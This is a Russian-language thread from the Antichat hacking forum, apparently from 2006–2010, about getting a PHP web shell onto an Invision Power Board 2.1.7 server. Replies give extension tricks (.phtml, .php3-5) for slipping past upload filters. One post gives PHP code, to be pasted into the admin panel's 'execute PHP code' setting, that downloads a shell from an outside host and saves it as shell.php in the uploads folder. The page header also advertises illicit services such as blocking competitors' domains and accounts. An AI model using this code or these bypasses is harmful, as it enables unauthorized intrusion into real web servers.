Проблема с заливкой шелла в Invision Power Board v2.1.7

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Проблема с заливкой шелла в Invision Power Board v2.1.7

Опции темы

Поиск в этой теме

Опции просмотра

Проблема с заливкой шелла в Invision Power Board v2.1.7

06.10.2006, 01:55

DeadMeat

Новичок

Регистрация: 28.09.2006

Сообщений: 4

С нами: 10325311

Репутация: 0

Проблема с заливкой шелла в Invision Power Board v2.1.7

доброго времяни суток...

подскажите куда ломиться, только именно подсказать интересней самому врубиться )

итак у меня задачка сломать сервак локальной сети...
пробывал ломиться через форум Invision Power Board v2.1.7
заливка шелла через аватары и фоты обламилась... единственное, что мне показалось неадекватным, это реакция сервака на имя файла... если я пытаюсь залить так script.php.jpg - он переименовывает весь фаил так av-(uid).txt
script.PHP.jpg - просто не пускает, также как и просто некорректный джипег... лажа какая-то...

подскажите может не в той стороне копаю ???

𝕏 Twitter Reddit Telegram Копировать ссылку

06.10.2006, 11:24

Brahma

Познающий

Регистрация: 14.07.2006

Сообщений: 85

С нами: 10434081

Репутация: 31

попробуй не .php а .phtml или .php3,4,5

06.10.2006, 15:50

DeadMeat

Новичок

Регистрация: 28.09.2006

Сообщений: 4

С нами: 10325311

Репутация: 0

некатит (( всёравно переименовывает в тхт

06.10.2006, 15:57

DeadMeat

Новичок

Регистрация: 28.09.2006

Сообщений: 4

С нами: 10325311

Репутация: 0

да кстати меня интересует вопрос... можно-ли запустить скрипт с удалённого сервера через аватару... если какчать через какоёнить сервак то пхтмл и пхп не переименовываються... хотя и скрипт не скачиваеться а пишеться как ссылка

06.10.2006, 18:30

Otaku

Познавший АНТИЧАТ

Регистрация: 24.07.2005

Сообщений: 1,057

С нами: 10946149

Репутация: 116

php исполняеться на самом сервере!
Толку не будет никакого.

08.10.2006, 08:13

DeadMeat

Новичок

Регистрация: 28.09.2006

Сообщений: 4

С нами: 10325311

Репутация: 0

блин будем пробывать ломиться через самопальные скрипты... будем надеяться на ошибки кодера...

31.12.2006, 19:27

pogant

Познающий

Регистрация: 24.06.2006

Сообщений: 35

С нами: 10462967

Репутация: 10

если есть доступ в админку то попробуй через настройки.там когда создаёшь новую то есть поле "выполнить php код до сохранения настройки"
туда вписывай
$linky="http://site.com/shell.txt";
$saved="/home/empire/public_html/uploads/shell.php"; (путь посмотри в настройках)
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);

Последний раз редактировалось pogant; 31.12.2006 в 21:20..

01.01.2007, 14:03

~~zl0ba~~

Banned

Регистрация: 10.10.2006

Сообщений: 596

С нами: 10307906

Репутация: 1365

Ты не зальёшь картинку шелл =(

24.02.2010, 11:16

ICQ Hool

Участник форума

Регистрация: 31.03.2008

Сообщений: 143

С нами: 9533255

Репутация: 95

в 2.3.6 php переименовывает в txt а phtml оставляет как есть, но показывает как txt =(

#10

24.02.2010, 11:48

drim

Участник форума

Регистрация: 27.08.2009

Сообщений: 131

С нами: 8793175

Репутация: 33

http://forum.antichat.ru/thread76949.html

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Вопрос о заливке шелла на форуме Powered by Invision Power Board(U) v1.3 Final	0verfe1	Уязвимости CMS / форумов	7	07.01.2006 03:23
Проблема с Invision Power Board	CunningFox	Уязвимости CMS / форумов	11	20.04.2005 19:56
Invision Power Board 2.0.0 - проблема со вставкой скрипта.	Telepuz	Уязвимости CMS / форумов	3	05.04.2005 13:49
Вопрос про заливку шелла в Invision Power Board	DiNo	Уязвимости CMS / форумов	14	03.03.2005 13:40